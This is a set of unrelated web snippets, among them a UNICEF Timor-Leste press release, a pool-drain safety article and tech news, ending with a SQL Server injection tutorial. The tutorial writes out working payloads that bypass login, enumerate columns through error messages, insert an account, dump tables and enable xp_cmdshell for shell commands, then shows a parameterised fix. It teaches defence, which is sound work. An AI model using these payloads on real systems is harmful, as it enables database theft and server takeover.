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The ISA office, located in the heart of Madrid, is only a one-minute walk from the famous Puerta del Sol and offers easy access to many of Madrid's most popular sites. The office is situated within a historic building which was designed by one of the most famous Spanish architects of the early 20th Century, Antonio Palacios. The office contains a classroom/meeting room, resident director offices, computer terminals with internet access, and a large common room. During normal office hours (Mon-Thurs, 10:00am-7:30pm and Fridays 10:00am-7:00pm), students may go to the office to use the internet, receive tutoring, find out about upcoming excursions/activities, read through various travel/academic resources, or simply visit with the ISA staff.


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Back-to-School Campaign in Timor-Leste ready for roll out
The two-month campaign is targeting all of Timor-Lestes primary school pupils and teachers and involves the reopening of 100 schools in Dili, some of which have been closed since civil unrest engulfed the capital in late May.
The violence, which sparked a humanitarian crisis leading to the displacement of up to 15 per cent of the population brought education to a standstill for an estimated 30,000 primary school children in the capital. The crisis has also affected learning for tens of thousands of others in classes throughout the country.
The resumption of formal education is a pivotal step in the process of restoring a sense of normality for girls and boys who were already enrolled in school and whose lives have been deeply affected by Timor-Lestes political and social upheaval.
The importance of getting children back to school cannot be overemphasized, UNICEF Timor-Leste Representative, Shui-Meng said. It means the return to a routine that provides structure, and it means familiarity and comfort for children who have lived through tremendous turmoil over the last few months.
The campaign is going ahead despite continuing uncertainty, with fears of violence still running deep among families living in internally displaced peoples camps and those still in their homes. Safety concerns kept many parents from sending their children back to school in July when some schools in the capital reopened to stage year-end exams. At least 10 schools were damaged in the violence.
Education is a basic right of all children, even in emergencies. We, as adults, mustnt deny their right to develop and acquire skills, knowledge and ability for a better future, said Rosalia Corte-Real, Minister of Education & Culture. The Minister appealed to communities to support the children to return to school.
The campaign will solicit the help of communities to encourage the return to school. During September and October, national and local radio and television talk shows, and a TV programme and newspaper dedicated to children will highlight the campaign and the importance of education.
Over the past few months, around 1,200 teachers fled Dili for the outlying districts part of a wave of almost 80,000 men, women and children who left the capital seeking safety. Many of the teachers are now working in schools in the districts, where an influx of displaced children has created serious shortages, overcrowding and pressure on already limited hygiene facilities. The mass displacement has brought the reality of the crisis to very many classrooms.
Even before the emergency, Timor-Leste faced tremendous challenges in education. One child in three does not enroll in primary school and literacy rates are low compared with other countries in the region. Yet efforts to rebuild a system based on a learning-friendly environment had started to show real gains over the past few years, with the Government, supported by UNICEF and other partners, committed to the development and roll-out of a new primary school curriculum for all grades.
UNICEF is a member of the Timorese Governments working group on education, part of the overall inter-agency humanitarian group established in the wake of the civil unrest to coordinate an emergency response. In many of Dilis IDP camps, where an estimated 75,000 people continue to seek shelter, temporary learning spaces were created, enabling children to join in activities such as drawing, singing and playing.
The Back-to-School campaign will cost $1.1 million, with Swedens Sida providing US$667,000.
About UNICEF
For 60 years UNICEF has been the worlds leader for children, working on the ground in 156 countries and territories to help children survive and thrive, from early childhood through adolescence. The worlds largest provider of vaccines for developing countries, UNICEF supports child health and nutrition, good water and sanitation, quality basic education for all boys and girls, and the protection of children from violence, exploitation, and AIDS. UNICEF is funded entirely by the voluntary contributions of individuals, businesses, foundations and governments.
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Apple co-founder Steve Wozniak says that Apple did not need NeXT, the company that provided the foundation for Mac OS X; he argues that System 7 wasn't nearly as bad as it was made out to be. Wozniak also says that Mac OS 9 was more secure than OS X is now: Mac OS X is built in Unix and is therefore more prone to attacks because people are familiar with the holes in Unix, explained Woznaik. "Some of the holes in Unix are well known. So keeping Firewalls on is more important. And we keep announcing, even our own security fixes, not as many as Microsoft but still we never really had those in the OS 9 days."


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by Myles McMorrow, August 12, 2009
The Virginia Graeme Baker law has now been in effect for seven months now and pools are still struggling to comply with the law. Much of this is due to people not knowing of the law aimed to make swimming pools safer from the issue of main drain entrapment.
There have been 83 reported entrapment incidents reported to the Consumer Product Safety Commision from 1999 through 2008. Of these were eleven fatality reports, including the sad accident that ended the life of Virginia Graeme Baker in 2002. There were 69 injury reports associated with main drains in that time frame from 1999 to 2008.
Many states agree with the law but have neglected to pass state laws to enforce it . According to Kathleen Reily of the CPSC, this is "red tape" and will take some time to enact and set aside funding for enforcement. Even though this is a Federal law that will make pools safer, I have heard of county health inspectors looking the other way when it comes to the law. This is not a good idea ~ to let kids swim when there is a chance of injury. This is a law that should be enforced at all costs if the point is to save lives.
Many public or semi-public pools have not even heard of the law or they lack funds to upgrade their pool in order to comply to the VGB pool and spa safety act. This has kept a lot of pools closed this summer (numbered in the thousands) while others pretned that there is no law ~ leaving an unsafe drain that could cause injury.
What people that are running pools with unsafe drains need to think about are the ramifications if an incident were to happen. I can see this playing out in the near future. Let me put this in perspective for those not complying:
*The maximum fine is $1.8 million for not being compliant. (enough to bankrupt most pools and hotels)
*If there was anything to happen and there was an injury or death you will face a bigger law suite (and most likely lose). The largest settlement to date in a main drain litigation was won by John Edwards for the sum of 25 million dollars.
*If you think your insurance company will stand behind you and fight for you and/or pay out, think again. You were not complying with a Federal mandated law, and negligence will fall on the pool owner / operator.
Although the enforcement of the law is lagging the day will come soon. There is already a law suit in Pennsylvania in a main drain entrapment case where a man died in a pool that did not have a compliant cover. The cost of a VGB compliant main drain cover depending on the pool and drain size is as low as $20 for common drains. Prices for larger main drain covers and VGB compliant main drain grates have come down in recent months.
Home owners should consider to change their covers to make thier pools safer for family and friends. Most home pools have drains where the new coves are only under $50. Home pools and spas are where most entrapments happen. Some states have gone beyond the federal and enacted stricter laws, Minnesota being one. The Abigail Taylor Pool & Spa Safety Act was named after a Minnesota girl who was disemboweled by a missing drain cover in a wading pool. Abigail Taylor literally had her guts sucked out when she sat on the coverless drain in less then 18 inches of water. Taylor lost 21 feet (6.4 m) of her small intestine in the accident. She died nine months after the accident due to complications. She was two months short of her seventh birthday.
Poolcenter.com believes in this law and recommends the homeowner take the initiative and change your drain covers to prevent the unexpected accident related to mains drains to make your pool safer for everyone.


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A few iPad 2 owners have written in to tell us they are experiencing yellow tinting issues on their brand new devices. This seems rather reminiscent of this past summer and the yellow tint issue with the iPhone 4.
If history is set to repeat itself, it seems as if this issue will resolve itself the same way it did last summer -- the bonding agent Apple has been using on their displays will set and the yellow tint will fade away. Most users with the issue on the iPhone 4 were yellow tint free after a few days.
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Horse killed, humans injured when car hits NY Amish buggy
NAPOLI, N.Y. (AP) -- State police say two people have been injured and a horse is dead after a car collided with an Amish man's buggy on a rural western New York road.
Troopers in Cattaraugus County tell WIVB-TV in Buffalo (http://bit.ly/TMem4y ) that the collision occurred Wednesday night in the town of Napoli, in the Southern Tier 50 miles south of Buffalo.
Police say the driver of the buggy pulled into the path of a car on Route 242. The crash impact destroyed the buggy and sent the horse into the car's windshield, killing the animal.
The buggy driver and the motorist were injured. Information on the extent of the injuries wasn't available.
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This morning, Microsoft not only announced Windows Phone 8 Update 3 (aka GDR3) but they also announced a Preview for Developers program whereby devs can get early access to the latest OS builds by download an app (and being a registered developer). How fast can you get GDR3? Well you can do it right now. In fact, we updated our Nokia Lumia 925.
Want to see how it all works? Watch our video tour of the process to see what will happen.
The whole process takes no longer than a standard OS over-the-air update, that is about 20 minutes. The only difference here is there is no firmware to install so it's actually faster. One of the more interesting things we noticed was the "grinding gear" portion now has a status meter to alleviate any concerns that it is stuck.
The process was overall very smooth and we have no complaints.
Want to know what's in GDR3 and to see those new features? Stay tuned as we're going through the OS update, build 10512, right now.
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SQL Server SQL Injection from start to end
SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage.
A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text.
SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences.
The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user.
Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability.
1) Concatenating SQL statements on the client by hand
2) Using parameterized stored procedures but passing in parts of SQL statements
As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem.
Concatenating SQL statements on the client
This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL.
In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens.
/* Users table holds usernames and passwords and is the object of out hacking attempt */
CREATE TABLE Users
UserId INT IDENTITY(1, 1) PRIMARY KEY ,
UserName VARCHAR(50) ,
UserPassword NVARCHAR(10)
/* Insert 2 users */
INSERT INTO Users(UserName, UserPassword)
SELECT 'User 1', 'MyPwd' UNION ALL
SELECT 'User 2', 'BlaBla'
Vulnerable C# code, followed by a progressive SQL injection attack.
This method checks if a user exists.
It uses SQL concatination on the client,
which is susceptible to SQL injection attacks
private bool DoesUserExist(string username, string password)
using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;"))
This is the SQL string you usually see with
novice developers. It returns a row if a
user exists and no rows if it doesn't
string sql = "SELECT * FROM Users WHERE UserName = '" + username +
"' AND UserPassword = '" + password + "'";
SqlCommand cmd = conn.CreateCommand();
cmd.CommandText = sql;
cmd.CommandType = CommandType.Text;
DataSet dsResult = new DataSet();
If a user doesn't exist the cmd.ExecuteScalar()
returns null; this is just to simplify the
example; you can use other Execute methods too
string userExists = (cmd.ExecuteScalar() ?? "0").ToString();
return userExists != "0";
The SQL injection attack example.
Username inputs should be run one after
the other, to demonstrate the attack pattern.
string username = "User 1";
string password = "MyPwd";
// See if we can even use SQL injection.
// By simply using this we can log into the application
username = "' OR 1=1 --";
// What follows is a step-by-step guessing game designed
// to find out column names used in the query, via the
// error messages. By using GROUP BY we will get
// the column names one by one.
// First try the Id
username = "' GROUP BY Id HAVING 1=1--";
// We get the SQL error: Invalid column name 'Id'.
// From that we know that there's no column named Id.
// Next up is UserID
username = "' GROUP BY Users.UserId HAVING 1=1--";
// AHA! here we get the error: Column 'Users.UserName' is
// invalid in the SELECT list because it is not contained
// in either an aggregate function or the GROUP BY clause.
// We have guessed correctly that there is a column called
// UserId and the error message has kindly informed us of
// a table called Users with a column called UserName
// Now we add UserName to our GROUP BY
username = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";
// We get the same error as before but with a new column
// name, Users.UserPassword
// Repeat this pattern till we have all column names that
// are being return by the query.
// Now we have to get the column data types. One non-string
// data type is all we need to wreck havoc
// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.
// This can be done because we know the number of columns the query returns FROM our previous hacks.
// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.
username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";
// SUM() errors out for UserName and UserPassword columns giving us their data types:
// Error: Operand data type varchar is invalid for SUM operator.
username = "' UNION SELECT SUM(Users.UserName) FROM Users--";
// Error: Operand data type nvarchar is invalid for SUM operator.
username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";
// Because we know the Users table structure we can insert our data into it
username = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";
// Next let's get the actual data FROM the tables.
// There are 2 ways you can do this.
// The first is by using MIN on the varchar UserName column and
// getting the data from error messages one by one like this:
username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";
username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";
// we can repeat this method until we get all data one by one
// The second method gives us all data at once and we can use it as soon as we find a non string column
username = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";
// The error we get is:
// Conversion failed when converting the nvarchar value
// '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>
// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>
// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>'
// to data type int.
// We can see that the returned XML contains all table data including our injected user account.
// By using the XML trick we can get any database or server info we wish as long as we have access
// Some examples:
// Get info for all databases
username = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";
// Get info for all tables in master database
username = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";
// If that's not enough here's a way the attacker can gain shell access to your underlying windows server
// This can be done by enabling and using the xp_cmdshell stored procedure
// Enable xp_cmdshell
username = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
// Create a table to store the values returned by xp_cmdshell
username = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";
// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table
username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";
// return the data via an error message
username = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";
// delete the table to get clean output (this step is optional)
username = "'; DELETE ShellHack; --";
// repeat the upper 3 statements to do other nasty stuff to the windows server
// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error
// To avoid this chunk up the returned XML using paging techniques.
// the username and password params come from the GUI textboxes.
bool userExists = DoesUserExist(username, password );
Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example.
The fixed C# method that doesn't suffer from SQL injection
because it uses parameters.
private bool DoesUserExist(string username, string password)
using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;"))
//This is the version of the SQL string that should be safe from SQL injection
string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password";
SqlCommand cmd = conn.CreateCommand();
cmd.CommandText = sql;
cmd.CommandType = CommandType.Text;
// adding 2 SQL Parameters solves the SQL injection issue completely
SqlParameter usernameParameter = new SqlParameter();
usernameParameter.ParameterName = "@username";
usernameParameter.DbType = DbType.String;
usernameParameter.Value = username;
SqlParameter passwordParameter = new SqlParameter();
passwordParameter.ParameterName = "@password";
passwordParameter.DbType = DbType.String;
passwordParameter.Value = password;
DataSet dsResult = new DataSet();
If a user doesn't exist the cmd.ExecuteScalar()
returns null; this is just to simplify the
example; you can use other Execute methods too
string userExists = (cmd.ExecuteScalar() ?? "0").ToString();
return userExists == "1";
We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place.
Your business is only as valuable as your data. If you lose your data, you lose your business. Period.
Incorrect parameterization in stored procedures
It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else.
This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup.
Create a single master access stored procedure
CREATE PROCEDURE spSingleAccessSproc
@select NVARCHAR(500) = '' ,
@tableName NVARCHAR(500) = '' ,
@where NVARCHAR(500) = '1=1' ,
@orderBy NVARCHAR(500) = '1'
EXEC('SELECT ' + @select +
' FROM ' + @tableName +
' WHERE ' + @where +
' ORDER BY ' + @orderBy)
Valid use as anticipated by a novice developer
EXEC spSingleAccessSproc @select = '*',
@tableName = 'Users',
@where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''',
@orderBy = 'UserID'
Malicious use SQL injection
The SQL injection principles are the same as
with SQL string concatenation I described earlier,
so I won't repeat them again here.
EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --',
@tableName = '--Users',
@where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''',
@orderBy = '--UserID'
One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one.
Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.
Legacy Comments
|re: SQL Server SQL Injection from start to end
I think it's great that this topic keeps coming up in blog posts. Where I work there's a frightening amount of novice and seasoned developers that have been guilty of writing vulnerable code and deploying it to production. Most of our code goes to intranet websites, so maybe the risk is a lot lower, but we do have public facing websites that were coded by the same group of people.
And don't even get me started with the "brilliant" idea of having the sprocs do all the concatenating for "security and improved performance". I really wish my coworkers would take at least 10 minutes off their TV-watching time and read a blog post a day to get with the times.
Kudos for a great post.
|re: SQL Server SQL Injection from start to end
I agree with enriguein, this doesn't come up enough. Too many times have I seen your stored procedure example with EXEC statements like that, haha.
I also didn't think that attackers could use binary / encoded text, interesting...
Thanks for the post!